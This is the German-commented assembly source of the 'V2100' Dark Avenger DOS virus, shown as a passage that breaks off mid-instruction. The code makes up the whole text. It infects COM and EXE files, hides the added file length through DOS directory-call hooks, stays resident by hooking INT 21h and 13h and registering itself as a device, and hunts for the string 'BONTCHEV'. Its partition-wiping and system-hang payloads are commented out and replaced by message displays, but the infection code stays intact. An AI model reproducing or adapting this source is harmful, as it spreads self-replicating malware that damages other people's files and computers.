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Assembly Source File | 1991-05-05 | 44.5 KB | 1,296 lines

;-------------------------------------------------------------- ; V2100.ASM ; ; Source von V2100.COM / noch ein Dark-Avenger-Virus ; ; Stealth ; Zerstört BOOT+Partitionstabelle ; Infiziert COM+EXE ; Lädt sich in oberen Speicherbereich ; ;-------------------------------------------------------------- code SEGMENT ASSUME CS:code, DS:code .RADIX 16 SMART ORG 100h ;-------------------------------------------------------------- ; Struktur des Disk-Parameter-Blocks ;-------------------------------------------------------------- DPB Struc drive db ? ; +0 Subunit db ? ; +1 SecSize dw ? ; +2 SecPerCluster db ? ; +4 ClusToSecShift db ? ; +5 BootSize dw ? ; +6 NumberOfFATs db ? ; +8 RootDirNumber dw ? ; +9 FstDataSector dw ? ; +0b MaxCluster dw ? ; +0d SecsPerFAT db ? ; +0f RootSector dw ? ; +10 Device dd ? ; +12 MediaDescrpt db ? ; +16 Accesflag db ? ; +17 NextBlock dd ? ; +18 DPB ends ;-------------------------------------------------------------- start: JMP VirStart ;----------------------------------------------------- ; Die NOPS sind für den TD unbedingt notwendig ! ;----------------------------------------------------- NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP ;----------------------------------------------------- FirstByte: DB 00h ; Ofs 0 DB "Eddie lives" ; Ofs 1..0b DB 00h ; Ofs 0c DB 0DCh ; Ofs 0d DB 14h ; Ofs 0e DB 00h ; Ofs 0f DB 00h ; Ofs 10 ;=======( eingefügt )================================= Infected DB 7,'INFECTED',0 destroyed DB 7,'DESTROYED',0 Down DB 7,'DOWN',0 ;===================================================== DisplayActivity: PUSH AX PUSH BX PUSH SI PUSH BX MOV AH,0Eh ; TTY-Ausgabe MOV BL,71h MOV SI,Offset Destroyed-Offset Firstbyte nextchar: LODSB or al,al JZ FERTIG INT 10H JMP NextChar fertig: POP AX POP BX POP SI RET ;========================================== ;----------------------------------------------------- PushAll:PUSH AX ; Offset 11h PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES MOV BX,SP JMP Word Ptr SS:[BX+10h] ; == RET, Aber alle Register gesichert ;----------------------------------------------------- JmpEXE: ADD SI,Offset IP_Init ;081Ah ;Offset 1Fh MOV BX,ES ADD BX,10h ;--------------------------------------------------------------------- ;VirusStartOffset EQU Offset FirstByte ;SegmentOffset EQU Offset Exe_segment+Offset IP_Init ;OffsetOffset EQU Offset Exe_Offset -Offset IP_Init ;ErsteZahl EQU (-SegmentOffset + VirusStartOffset) ;ZweiteZahl EQU (-OffsetOffset + VirusStartOffset) ;------( der assembler mag nicht )------------------------------------ ;ADD BX,Word Ptr CS:[SI+02h] ; Relocate; ;MOV Word Ptr CS:[SI-ErsteZahl],BX ; +F831 ;MOV BX,Word Ptr CS:[SI] ;MOV Word Ptr CS:[SI-ZweiteZahl],BX ; +F82F ;===================================================================== ADD BX,Word ptr CS:[SI+2] MOV Word Ptr CS:[Offset Exe_Segment-Offset FirstByte],BX MOV BX,Word ptr CS:[SI] MOV Word Ptr CS:[Offset Exe_Offset-Offset FirstByte],BX ;====================================================================== MOV BX,ES ADD BX,10h ADD BX,Word Ptr CS:[SI+04h] MOV SS,BX MOV SP,Word Ptr CS:[SI+06h] ;----------------------------------------------------- DB 0EAh Exe_Offset DW ? ; Offset 161h Exe_Segment DW ? ; JMP 0000:0000 ; JMP EXE-CODE ;----------------------------------------------------- VirStart: CALL J0045F ; Adresse 168h auf Stack ;------------------------------------------------------------- InstallDevice: INT 3 RETF ; DAS wollen wir besser nicht zulassen !!!!!!!!!! DEC DI ; Offset 50h DEC DI PUSH CS CALL FirstBIOSCall INC DI INC DI FirstBIOSCall: PUSH DS PUSH Word Ptr DS:[DI+08h] RETF ;----------------------------------------------------- ModifyFilesize_in_FCB: CALL INT21 ; Offset 5Dh TEST AL,AL JNZ J001DA ; Keine passende Datei gefunden PUSH AX PUSH BX PUSH SI PUSH DI PUSH DS PUSH ES MOV AH,51h ; Get current PSP INT 21H MOV ES,BX CMP BX,Word Ptr ES:[0016h] ; PSP des COMMAND.COM ?? JNZ J001D3 MOV SI,DX MOV AH,2Fh ; GET DTA INT 21H ; ES:BX <- DTA LODSB INC AL JNZ J0019D ADD BX,+07h J0019D: INC BX MOV DI,0002h JMP SHORT CheckFileForStealth ;----------------------------------------------------- StealthFilesize: CALL INT21 ; Offset 8Bh JB J001DA PUSH AX PUSH BX PUSH SI PUSH DI PUSH DS PUSH ES MOV AH,2Fh ; Get DTA INT 21H ; ES:BX <- DTA XOR DI,DI CheckFileForStealth: PUSH ES POP DS MOV AX,Word Ptr DS:[BX+16h] ; Hole Filedatum AND AL,1Fh ; Sekunde auf '62' gesetzt ? CMP AL,1Fh JNZ J001D3 ; nein, dann geben wir die MOV AX,Word Ptr DS:[BX+DI+1Ah] ; echte Länge zurück. MOV SI,Word Ptr DS:[BX+DI+1Ch] ; sonst : ziehe 2100 ab.. SUB AX,2100d ; =0834h SBB SI,+00h JB J001D3 MOV Word Ptr DS:[BX+DI+1Ah],AX MOV Word Ptr DS:[BX+DI+1Ch],SI J001D3: POP ES POP DS POP DI POP SI POP BX POP AX CLC J001DA: INC SP INC SP JMP @IRET ;----------------------------------------------------- J001DF: JMP ModifyFilesize_in_FCB ; Offset C7h ;----------------------------------------------------- ;===================================================== ; vvvv--- Hier wird neuer Code hingebastelt -vvvv ;----------------------------------------------------- VirINT24:MOV AL,03h ; Offset C9h IRET ; INT24h / Operation failed ! ;----------------------------------------------------- VirEXEC:CALL J006E0 ; Offset CCh CALL Zerstoere MOV BYTE PTR CS:[Offset Bontchev_Flag-Offset Firstbyte],01h ; 877h ToINT21h: POPF JmpToINT21H: JMP DWord Ptr CS:[Offset INT21H-Offset FirstByte] ;----------------------------------------------------- VirInt27H: ; Offset DEh CALL Virus_KEEP_Procedure JMP DWord Ptr CS:[Offset INT27H-Offset FirstByte] ;----------------------------------------------------- KEEP: CALL Virus_KEEP_Procedure ; Offset E6h JMP ToINT21h ;----------------------------------------------------- VirInt21h: STI ; Offset 00EBh PUSHF CLD CMP AH,11h ; FindFirst FCB JZ J001DF CMP AH,12h ; Findnext FCB JZ J001DF CMP AH,4Eh ; Findfirst ASCIIZ JZ StealthFilesize CMP AH,4Fh ; FindNext ASCIIZ JZ StealthFilesize CALL Suche_Bontchev CMP AX,2521h ; SET Int 21h JZ VirSetInt21H CMP AX,2527h ; Set Int 27H JZ VirSetInt27H CMP AX,3521h ; GET Int 21H ;============================== GET21LABEL EQU $-2 ; zeigt auf "3521" JmpLABEL EQU $+1 ; zeigt auf "57", Sprungweite ;============================== JZ VirGetInt21H CMP AX,3527h ; GET INT 27H JZ VirGetInt27H CMP AH,31h ; KEEP KEEPLABEL: ; ofs 234h JZ KEEP CMP AX,4B00h ; EXEC JZ VirEXEC CMP AH,3Ch ; Create File JZ J0024A CMP AH,3Eh ; close file JZ CLOSEFile CMP AH,5Bh ; Make New File JNZ J002B0 J0024A: CMP WORD PTR CS:[Offset VirusEnde-Offset FirstByte],+00h ; CS:93Ch JNZ J002CC ; CALL CheckFile ; JNZ J002CC ; NZ-> EXE oder COM POPF CALL INT21 JB @IRET CALL J003F8 J00260: CLC @IRET: RETF 0002h ;----------------------------------------------------- VirSetInt27H: MOV Word Ptr CS:[Offset INT27H - Offset FirstByte],DX MOV Word Ptr CS:[Offset INT27H + 2 - Offset FirstByte],DS POPF IRET ;----------------------------------------------------- VirSetInt21H: MOV Word Ptr CS:[Offset INT21H - Offset FirstByte],DX MOV Word Ptr CS:[Offset INT21H + 2 - Offset FirstByte],DS POPF IRET ;----------------------------------------------------- VirGetInt27H: LES BX,DWord Ptr CS:[Offset INT27H - Offset FirstByte] POPF IRET ;----------------------------------------------------- VirGetInt21H: LES BX,DWord Ptr CS:[Offset INT21H - Offset FirstByte] POPF IRET ;----------------------------------------------------- CLOSEFile: CMP BX,Word Ptr CS:[Offset VirusEnde-Offset FirstByte] JNZ J002CC TEST BX,BX JZ J002CC POPF CALL INT21 JB @IRET PUSH DS PUSH CS POP DS PUSH DX MOV DX,Offset J0093E-Offset Firstbyte CALL Zerstoere MOV WORD PTR CS:[Offset VirusEnde-Offset FirstByte],0000h POP DX POP DS JMP J00260 ;----------------------------------------------------- J002B0: CMP AX,4B01h ; Load Overlay JZ J002C9 CMP AH,3Dh ; Open file JZ J002C4 CMP AH,43h ; Change Fileattribut JZ J002C4 CMP AH,56h ; rename File JNZ J002CC J002C4: CALL CheckFile JNZ J002CC ; NZ -> EXE oder COM J002C9: CALL Zerstoere J002CC: JMP ToINT21h ;----------------------------------------------------- CheckFile: PUSH AX PUSH SI MOV SI,DX SuchEXT:LODSB TEST AL,AL JZ J002FC CMP AL,'.' JNZ SuchEXT CALL GetChar MOV AH,AL CALL GetChar CMP AX,'oc' ; ein COM-File ? JZ J002F5 CMP AX,'xe' ; ein EXE-File ? JNZ J002FE CALL GetChar CMP AL,'e' JMP SHORT J002FE ;----------------------------------------------------- J002F5: CALL GetChar CMP AL,'m' ; war es ein COM-File ?? JMP SHORT J002FE ;----------------------------------------------------- J002FC: INC AL ; Löscht ZF ! J002FE: POP SI POP AX RETN ;----------------------------------------------------- GetChar:LODSB CMP AL,'C' ; 43h ; Buchstaben zwischen 'C'und 'Y' JB J0030C ; werden in Kleinschrift gewandelt CMP AL,'Y' ; 59h JNB J0030C ADD AL,20h J0030C: RETN ;------------( virus callt int 21h )------------------ INT21: PUSHF PUSH CS CALL JmpToINT21H RETN ;----------------------------------------------------- Zerstoere: CALL PushAll MOV SI,DS ;------------------------- Get Int 24h ----------------- XOR AX,AX MOV DS,AX MOV DI,13h*4 LES AX,Dword Ptr DS:[DI+44h] PUSH ES PUSH AX ;------------------------- Set Int 24h ----------------- MOV WORD PTR DS:[DI+44h],Offset VirINT24-Offset FirstByte MOV Word Ptr DS:[DI+46h],CS ;------------------------- Get Int 13h ----------------- LES AX,Dword Ptr DS:[DI] MOV Word Ptr CS:[Offset INT13H+1-Offset FirstByte],AX ; CS:92B MOV Word Ptr CS:[Offset INT13H+3-Offset FirstByte],ES ; CS:92D ;------------------------- Set Int 13h ----------------- MOV WORD PTR DS:[DI ],Offset VirInt13H-Offset FirstByte MOV Word Ptr DS:[DI+02h],CS PUSH ES PUSH AX PUSH DI PUSH DS MOV AH,54h ; Get verify-Status INT 21H PUSH AX MOV AX,2E00h ; Set verify-Status OFF INT 21H MOV DS,SI MOV AX,4300h ; Get Fileattribut CALL INT21 JB J0038B TEST CL,04h JNZ J0038B MOV BX,CX AND CL,0FEh CMP CL,BL MOV AX,4301h ; Set Fileattribut PUSH AX JZ J0036C CALL INT21 CMC J0036C: PUSHF PUSH DS PUSH DX PUSH BX MOV AX,3D02h ; Öffne R/W CALL INT21 JB J00381 XCHG AX,BX CALL INFECT_File MOV AH,3Eh ; Close file CALL INT21 J00381: POP CX POP DX POP DS POPF POP AX JNB J0038B CALL INT21 J0038B: POP AX MOV AH,2Eh ; Set verify-Status INT 21H POP DS MOV AL,Byte Ptr DS:[046Ch] ; Get Timer-Byte 000:46C DEC AX OR AL,byte Ptr DS:[043Fh] ; Get Disk-Motor-Status, ; -> welches Laufwerk war grade ; eben eingeschaltet ???????? AND AL,0Fh JNZ J003E1 MOV DL,80h ; Platte C: MOV AH,08h ; Get drive-parameters INT 13H JB J003E1 MOV DI,0010h ; J003A8: MOV AX,0201h ; Lese 1 Sektor MOV BX,Offset Buffer - Offset FirstByte ; 0880h; nach CS:998h MOV DL,80h ; Platte C: INT 13H ; Welcher Sektor steht in CX.... ;----------------------------------------------------------- CMP WORD PTR CS:[BX ],1F0Eh ; scanne 0e 1f 83 2e JNZ J003D8 ; PUSH CS, POP DS CMP WORD PTR CS:[BX+02h],2E83h ; SUB Word Ptr DS:[xxxx],yyyy JNZ J003D8 ;----------------------------------------------------------- MOV AX,0202h ; Lese 2 Sektoren PUSH BX MOV BH,0Ah ; Puffer ist 10 byte dahinter DEC CX ; 2 Sektoren davor lesen DEC CX INT 13H POP BX ;----------------------------------------------------- ; MOV AX,0303h ; Drei Sektoren überschreiben ; MOV CX,0001h ; Sektor Nummer 1 / Partitionssektor ! ; XOR DH,DH ; Kopf 0 ; INT 13H ; Kaputt ! ;======( eingefügt )======================= CALL DISPLAYACTIVITY ;========================================== JMP SHORT J003E1 ;----------------------------------------------------- J003D8: TEST CH,CH JZ J003E1 DEC CH DEC DI JNZ J003A8 J003E1: POP DI POP Word Ptr DS:[DI] POP Word Ptr DS:[DI+02h] POP Word Ptr DS:[DI+44h] POP Word Ptr DS:[DI+46h] PopALL: POP ES POP DS POP DI POP SI POP DX POP CX POP BX POP AX INC SP INC SP RETN ;----------------------------------------------------- J003F8: CALL PushAll PUSH CS POP ES MOV DI,Offset VirusEnde-Offset FirstByte STOSW MOV SI,DX MOV CX,0050h J00406: LODSB STOSB TEST AL,AL JZ PopALL LOOP J00406 MOV Word Ptr ES:[Offset VirusEnde-Offset FirstByte],CX JMP PopALL ;----------------------------------------------------- Suche_Bontchev: CALL PushAll PUSH CS POP DS CMP BYTE Ptr DS:[Offset Bontchev_Flag-Offset FirstByte],00h; CS:98F JZ PopALL MOV AH,51h CALL INT21 MOV ES,BX MOV CX,Word Ptr ES:[0006h] SUB DI,DI J0042F: MOV SI,Offset BontChev-Offset FirstByte LODSB REPNZ SCASB JNZ J00446 ;-------------------------------------- ; BONTCHEV gefunden. System aufhängen ! ;-------------------------------------- PUSH CX PUSH DI MOV CX,0007h REPZ CMPSB POP DI POP CX JNZ J0042F ; ---------------------- refresh-timer verstellen --------------- ; MOV AL,54h ; OUT 43h,AL ; ergibt Paritätsfehler ! ;======( eingefügt )======================= CALL DISPLAYACTIVITY ;========================================== J00446: MOV BYTE Ptr DS:[Offset Bontchev_Flag-Offset FirstByte],00h JMP PopALL ; == RET ;----------------------------------------------------- JmpCOM: MOV DI,0100h ADD SI,Offset OldCode-Offset FirstByte MOV SP,Word Ptr DS:[0006h] XOR BX,BX PUSH BX PUSH DI MOVSB MOVSW RETN ;----------------------------------------------------- J0045F: POP SI ; Get IP SUB SI,Offset InstallDevice-Offset FirstByte CLD INC WORD PTR CS:[SI+Offset Generation - Offset Firstbyte] NOT BYTE PTR CS:[SI+Offset BontChev- Offset FirstByte] CMP WORD PTR CS:[SI+Offset OldCode - Offset FirstByte],'MZ' JZ J00486 CLI MOV SP,SI ADD SP,Offset @Stack-Offset Firstbyte STI CMP SP,Word Ptr DS:[0006h] JNB JmpCOM ; Zuwenig Stack , keine Infektion möglich ! J00486: PUSH AX PUSH ES PUSH SI PUSH DS MOV DI,SI ;------------------------- Get Int 13h ----------------- XOR AX,AX PUSH AX MOV DS,AX LDS DX,DWord Ptr DS:[13h*4] ; Get INT 13 in DS:DX MOV AH,30h INT 21H ; Get DOS-version MOV Byte Ptr CS:[SI+Offset DOS_Version -Offset Firstbyte],AL CMP AL,03h ; Dosversion 3 ?? JB J004AE MOV AH,13h ; Swap INT 13h-Handler INT 2FH ; Jetzt enthält DS:DX und ; ES:BX aber ROM-Entry PUSH DS PUSH DX ; Merk Dir den ROM-Entry MOV AH,13h ; und swappe zurück ! INT 2FH POP DX POP DS ;--------------------------------------------------------------------------- J004AE: MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+1-Offset FirstByte],DX MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+3-Offset FirstByte],DS MOV Word Ptr CS:[SI+Offset Int13JMP +1-Offset Firstbyte],DX MOV Word Ptr CS:[SI+Offset Int13JMP +3-Offset Firstbyte],DS POP DS PUSH DS ; AX=0 als DS vom Stack holen MOV AX,Word Ptr DS:[0102h] ; Segment INT 40h (Disk-Bios-Entry) holen CMP AX,0F000h ; zeigt es ins ROM ? JNZ J00542 ; MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+1-Offset FirstByte],AX MOV AX,Word Ptr DS:[0100h] MOV Word Ptr CS:[SI+Offset Int13ROM_Entry+3-Offset FirstByte],AX MOV DL,80h ; DL auf Festplatte C: einstellen MOV AX,Word Ptr DS:[0106h] ; Adresse des BPB des Platte C: holen CMP AX,0F000h ; Zeiger ins ROM ? JZ J004FF CMP AH,0C8h ; Zeiger in Segment C800 ? JB J00542 CMP AH,0F4h ; Zeiger in Segment F400 ? JNB J00542 TEST AL,7Fh ; auf xxXX:xxxx ? JNZ J00542 ; Auf xxXX:xxxx ! MOV DS,AX ; DS einstellen CMP WORD Ptr DS:[0000h],0AA55h ; ist dort eine BIOS-Kennung ? JNZ J00542 ; nein MOV DL,Byte Ptr DS:[0002h] ; ?? Länge des Bios ?? holen J004FF: MOV DS,AX XOR DH,DH MOV CL,09h ; DX * 512 SHL DX,CL MOV CX,DX XOR SI,SI J0050B: LODSW ;------- Code-Analyse ! -------------------- CMP AX,0FA80h ; CMP DL,xx JNZ J00519 LODSW CMP AX,7380h ; CMP DL,80h JZ J00524 ; JNB xxxx JNZ J0052E J00519: CMP AX,0C2F6h ; TEST DL,xx JNZ J00530 ; LODSW CMP AX,7580h ; TEST Dl,80h JNZ J0052E ; JBE xxxx J00524: INC SI LODSW CMP AX,40CDh ;INT 40h. Suche danach den INT 40-Aufruf JZ J00535 SUB SI,+03h J0052E: DEC SI DEC SI J00530: DEC SI LOOP J0050B JMP SHORT J00542 ;----------------------------------------------------- J00535: SUB SI,+07h MOV Word Ptr CS:[DI+Offset Int13JMP + 1 - Offset FirstByte],SI MOV Word Ptr CS:[DI+Offset Int13JMP + 3 - Offset FirstByte],DS J00542: MOV SI,DI POP DS ;------------------------- Get Int 21h ----------------- LES AX,Dword Ptr DS:[21h*4] MOV Word Ptr CS:[SI+Offset INT21H - Offset FirstByte],AX MOV Word Ptr CS:[SI+Offset INT21H + 2 - Offset FirstByte],ES PUSH CS POP DS NOT BYTE Ptr DS:[SI+Offset Bontchev-Offset FirstByte] CMP AX,Offset VirInt21h-Offset FirstByte JNZ J0056B ; Noch nicht verbogen ! XOR DI,DI MOV CX,Offset Int13ROM_Entry + 1 - Offset FirstByte REPZ CMPSB JNZ J0056B POP ES JMP J005F0 ;---------------( berechnen der neuen Position im RAM )----- J0056B: POP DS PUSH DS MOV AX,SP INC AX MOV CL,04h SHR AX,CL INC AX MOV CX,SS ADD AX,CX MOV CX,DS DEC CX MOV ES,CX MOV DI,0002h MOV DX,010Ch MOV CX,Word Ptr DS:[DI] SUB CX,DX CMP CX,AX JB J005EF POP AX SUB Word Ptr ES:[DI+01h],DX MOV Word Ptr DS:[DI ],CX MOV ES,CX MOV AX,CX CALL J008F2 MOV BX,AX MOV CX,DX MOV AX,DS CALL J008F2 ADD AX,Word Ptr DS:[DI+04h] ADC DX,+00h SUB AX,BX SBB DX,CX JB J005B2 SUB Word Ptr DS:[DI+04h],AX J005B2: POP SI PUSH SI PUSH DS PUSH CS XOR DI,DI MOV DS,DI ;------------------------- Get Int 27h ------------------------- LDS AX,DWord Ptr DS:[27h*4] ; Hole INT 27H MOV Word Ptr CS:[SI+Offset INT27H -Offset FirstByte],AX MOV Word Ptr CS:[SI+Offset INT27H + 2 -Offset FirstByte],DS POP DS MOV BYTE Ptr DS:[SI+Offset Bontchev_Flag-Offset FirstByte],00h ;--------------------------------------------------------------- MOV CX,Offset Buffer-Offset Firstbyte ; 0440h; 997h kopieren REPZ MOVSW ; Ins obere RAM kopieren ;------------------------- Set Int 21h ----------------- XOR AX,AX MOV DS,AX MOV WORD PTR DS:[21h*4 ],Offset VirInt21h-Offset FirstByte MOV WORD PTR DS:[21h*4+2],ES ;------------------------- Set Int 27h ----------------- MOV WORD PTR DS:[27h*4 ],Offset VirInt27H-Offset FirstByte MOV WORD PTR DS:[27h*4+2],ES MOV ES:[Offset VirusEnde-Offset FirstByte],AX J005EF: POP ES J005F0: POP SI ;------------------------- Get Int 13h ----------------- XOR AX,AX MOV DS,AX MOV AX,Word Ptr DS:[13h*4] MOV Word Ptr CS:[SI+Offset int13JMP+1-Offset FirstByte],AX MOV AX,Word Ptr DS:[13h*4+2] MOV Word Ptr CS:[SI+Offset Int13JMP+3-Offset FirstByte],AX ;------------------------- Set Int 13h ----------------- MOV WORD Ptr DS:[13h*4],Offset VirInt13h-Offset FirstByte ADD Word Ptr DS:[13h*4 ],SI ; SI = Offset FirstByte MOV Word Ptr DS:[13h*4+2],CS POP DS PUSH DS PUSH SI MOV DS,Word Ptr DS:[002Ch] ; Get Envir-Segment XOR SI,SI J0061C: LODSW DEC SI TEST AX,AX ; Suche Ende des Environments JNZ J0061C POP DI ; = mov di,Offset Firstbyte PUSH DI PUSH ES CMP BYTE PTR CS:[DI+Offset DOS_Version-Offset FirstByte],03h JB J00635 ADD SI,+03h ; zeigt auf grade gestartetes File MOV AX,121Ah ; get File's drive, DS:SI->Filename INT 2FH ; AL <- Drive ;---------------------------------------------------------- J00635: MOV DL,AL MOV AH,32h ; Get DPB INT 21H ; DS:BX zeigt auf Disk-Parm-Block ; DS ist dabei immer das DOS-Segment ;=========================================================== ;0275:033A 0E 00 05 E0 03 00 00 00 originaler DPB ;0275:0342 00 00 00 00 00 1B 5E 03 ;0275:034A 75 02 01 00 00 00 00 00 ;======================================== ; es:0215 1A 02 04 xx xx xx xx xx Neuer "DPB" im CS ; es:021D xx xx xx xx xx xx 55 02 ; es:0225 D1 30 01 00 00 00 xx xx ;======================================== ; ds:01AE 43 4C 4F 43 4B 24 20 20 CLOCK$ ; ds:01B6 CA 01 70 00 40 08 DC 05 ; ds:01BE 34 06 ................... Erste returnadresse ; 05 80 ............. Zweite returnadresse ; 00 01 00 00 ;=========================================================== PUSH CS POP ES ; ES ist CS ADD DI,Offset VirInt24-Offset Firstbyte ; DI war Offset Firstbyte MOV SI,DI ; SI = Offset VIRINT24h MOV AL,1Ah ; Drive MOV AH,Byte Ptr DS:[BX+DPB.SubUnit] STOSW ; AX -> ES:DI ( Drive+Subunit) MOV AL,04h STOSB ; AL -> ES:DI ( Sectorsize ) ADD DI,+0Ah ; DI <- Offset Virint24h+13h ; DI = Offset ToINT21h-1 MOV DX,Word Ptr DS:[BX+DPB.FstDataSector] CMP Byte Ptr CS:[SI+Offset DOS_Version-Offset VirInt24],AL JB J0065A INC BX J0065A: MOV AL,byte Ptr DS:[BX+DPB.MediaDescrpt] STOSB MOV AX,SI ADD AX,0040h ; AX = Ofs VirInt24+40h ; AX = Offset 221h, Byte vor "CMP AX,2527" STOSW ; MOV AX,ES STOSW ; MOV AX,0001h ; STOSW ; DEC AX ; AX = 0 STOSW ; ;------------------------------------------------------------------ LDS DI,DWord Ptr DS:[BX+DPB.Device] MOV BX,SI ; jetzt zeigt BX auf Virint24 ;---------------------------------------------------------- PUSH CS ; AX=0 ; DS:DI zeigt auf Link; ; ES:BX = residentes VirInt24h CALL InstallDevice ;---------------------------------------------------------- ; Installation des Virus als 'device' ; Hier installiert es sich durch die Hintertuer !!! ;---------------------------------------------------------- ; ;-------( Hier wird der Code verändert )------------------ ; ;---------------------------------------------------------- ; ES=CS ! SHL BYTE PTR ES:[BX+02h],1 ; aus 04 wird 08, ; Ofs virint24 + 2 ; Ofs 1e3 INC BYTE PTR ES:[BX+Offset JMPLabel-Offset Virint24] ; JZ 0283 -> JZ 284 ; Ofs Virint24 + 4ah; Ofs 22B AND BYTE PTR ES:[BX+Offset JMPLabel-Offset VirInt24],0Fh ; JZ 284 -> JZ 234 ; nach CMP AH,31h ; Ofs VirInt24 + 4ah PUSHF JNZ J006A3 MOV AX,Word Ptr ES:[BX+Offset Get21Label-Offset Virint24] ; 3521, aus 'CMP AX,3521' ; Ofs Virint24 + 48h; Ofs 229 ADD AX,0040h ; AX = 3561 CMP AX,Word Ptr ES:[BX+Offset Keeplabel-Offset Virint24] ; 744B = JZ 01FE ; Ofs Virint24 + 53h; Ofs 234 JB J0069F INC AX ; AX = 3562 AND AX,003Fh ; AX = 0022 ADD AX,DX ; DX ist DPB.DataSektor CMP AX,Word Ptr ES:[BX+Offset Keeplabel-Offset Virint24] ; 744B ; Ofs Virint24 + 53h JNB J006B3 J0069F: MOV Word Ptr ES:[BX+Offset Get21Label-Offset Virint24],AX ; Ofs Virint24 + 48h J006A3: ;---------------------------------------------------------- PUSH CS CALL InstallDevice ;---------------------------------------------------------- POPF JNZ J006B2 MOV Word Ptr ES:[BX+Offset JMPToInt21H-Offset VirInt24+4],AX ; Ofs VirInt24 + 14h ;---------------------------------------------------------- PUSH CS CALL InstallDevice ;---------------------------------------------------------- J006B2: PUSHF J006B3: POPF POP ES POP SI ;------------------------- Re-Set Int 13h --------------- XOR AX,AX MOV DS,AX MOV Byte Ptr CS:[SI+Offset Bontchev - Offset FirstByte],AL MOV AX,Word Ptr CS:[SI+Offset INT13H+1-Offset FirstByte] MOV Word Ptr DS:[13h*4 ],AX MOV AX,Word Ptr CS:[SI+Offset INT13H+3-Offset FirstByte] MOV Word Ptr DS:[13h*4+2],AX ;------------------------------------------------------- POP DS POP AX CMP WORD PTR CS:[SI+Offset OldCode-Offset Firstbyte],'MZ' JNZ J006DD JMP JmpEXE ;----------------------------------------------------- J006DD: JMP JmpCOM ;----------------------------------------------------- J006E0: CALL PushAll MOV AH,51h ; GET PSP INT 21H SUB DI,DI ; DI = 0 MOV AX,DI ; AX = 0 DEC BX ; Auf MCB des Master-programs zeigen MCB_Loop: ADC BX,AX MOV DS,BX MOV AX,Word Ptr DS:[DI+03h] ; MCB-Size nach AX CMP BYTE Ptr DS:[DI],'Z' ; Letzter MCB ? JB MCB_Loop ; NEIN -> MCB_Loop CMP DI,Word Ptr DS:[DI+01h] ; Owner of MCB = Himself ? JNZ J0075A ; => Command.com INC BX ; Auf PSP zeigen MOV ES,BX ; ES=PSP-Segment CMP AX,1000h ; MCB-Size < 1000h ? JB J00708 MOV AX,1000h ; Wenn MCB >= 1000h -> MCB=1000H J00708: MOV CL,03h SHL AX,CL ; MCB := MCB * 8 MOV CX,AX REPZ STOSW ; AX->ES:DI, CX mal JMP SHORT J0075A ;------------------------------------------------------ Virus_KEEP_Procedure: ;------------------------------------------------------ CALL PushAll ;------------------------- Get Int 21h ---------------- MOV CX,Offset VirInt21H -Offset FirstByte XOR DI,DI MOV DS,DI LES DX,Dword Ptr DS:[21h*4] ; ES:DX = Int 21h ;------------------------------------------------------ PUSH CS POP DS CMP DX,CX ; Ist INT 21 schon von JNZ J0072E ; mir übernommen ? MOV AX,ES MOV SI,CS ; dieselbe Frage CMP AX,SI JZ J0075A ;-------------------------------------------------- ; Nein, INT21h wird z.Z. nicht von mir 'bearbeitet' ;--------------------------vvvvvvvvvvvvvvvvvvvvvvv J0072E: MOV AX,Word Ptr ES:[DI] ; Nochmal dieselbe CMP AX,CX ; Abfrage des INT 21h JNZ J0073D MOV AX,CS CMP AX,Word Ptr ES:[DI+02h] JZ J00742 J0073D: INC DI JNZ J0072E JMP SHORT J0074E ;----------------------------------------------------- ; Setzen des INT 21h auf die Virus-Prozedur ;----------------------------------------------------- J00742: MOV SI,Offset INT21H - Offset FirstByte CLD MOVSW MOVSW ; DS:SI-> ES:DI MOV Word Ptr DS:[SI-04h],DX ; 994 MOV Word Ptr DS:[SI-02h],ES ; 996 J0074E: XOR DI,DI MOV DS,DI MOV Word Ptr DS:[21h*4 ],CX MOV Word Ptr DS:[21h*4+2],CS J0075A: JMP PopALL ; == RET ! ;----------------------------------------------------- INFECT_File: PUSH CS POP DS PUSH CS POP ES MOV SI,Offset Buffer-Offset Firstbyte ; 880h MOV DX,SI MOV CX,0018h ; Lese 18h byte nach DS:SI MOV AH,3Fh INT 21H XOR CX,CX XOR DX,DX MOV AX,4202h ; Seek File-ENDE INT 21H MOV Word Ptr DS:[SI+1Ah],DX ; FilePointer, HiWord CMP AX,0809h ; ist File länger als 2057 Byte SBB DX,+00h JB J007F7 ; und kleiner als 65536 byte ? MOV Word Ptr DS:[SI+18h],AX ; NEIN ! MOV AX,'MZ' CMP Word Ptr DS:[SI],AX ; Ein EXE ? JZ J00793 CMP WORD Ptr DS:[SI],'ZM' ; Ein Overlay ? JNZ J007AE MOV Word Ptr DS:[SI],AX ; ja,dann machen wir's zum EXE ! ; (Depp dieser ! ) J00793: MOV AX,Word Ptr DS:[SI+0Ch] ; Maximum Memory needed TEST AX,AX JZ J007F7 ; keines ?? MOV AX,Word Ptr DS:[SI+08h] ; Minimum needed ADD AX,Word Ptr DS:[SI+16h] ; ADD CS-Init CALL J008F2 ADD AX,Word Ptr DS:[SI+14h] ; ADD IP-Init ADC DX,+00h MOV CX,DX XCHG AX,DX JMP SHORT J007C0 ;-------------------------------- J007AE: CMP BYTE Ptr DS:[SI],0E9H ; Ein COM. Fängt's mit JMP xy an ? JNZ J007F8 ; nein MOV DX,Word Ptr DS:[SI+01h] ; ja, dann ist es gaaanz leicht... ADD DX,0103h JB J007F8 ; Sprung über 1 Segment ? DEC DH XOR CX,CX J007C0: SUB DX,4Dh SBB CX,00h MOV AX,4200h INT 21H ; Seek INIT-Code - 4Dh ADD AX,Offset VirusEnde-Offset FirstByte ADC DX,+00h SUB AX,Word Ptr DS:[SI+18h] ; Filesize Low-word SBB DX,Word Ptr DS:[SI+1Ah] ; Filesize hi-word INC DX JNZ J007F8 CMP AX,0FFF0h JB J007F8 ADD SI,1Ch MOV DX,SI MOV CX,0809h ; 2057h Byte lesen MOV AH,3Fh INT 21H JB J007F8 CMP CX,AX JNZ J007F8 XOR DI,DI REPZ CMPSB ; BIN ICH SCHON DRINNEN ?? JNZ J007F8 J007F7: RETN ; Ja........... ;----------------------------------------------------- J007F8: MOV SI,Offset Buffer-Offset FirstByte XOR CX,CX XOR DX,DX MOV AX,4202h ; seek file-ende INT 21H MOV BYTE Ptr DS:[SI-0Ah],00h ; DOS_Version CMP WORD Ptr DS:[SI ],'MZ' JZ SeekCodeStart ADD 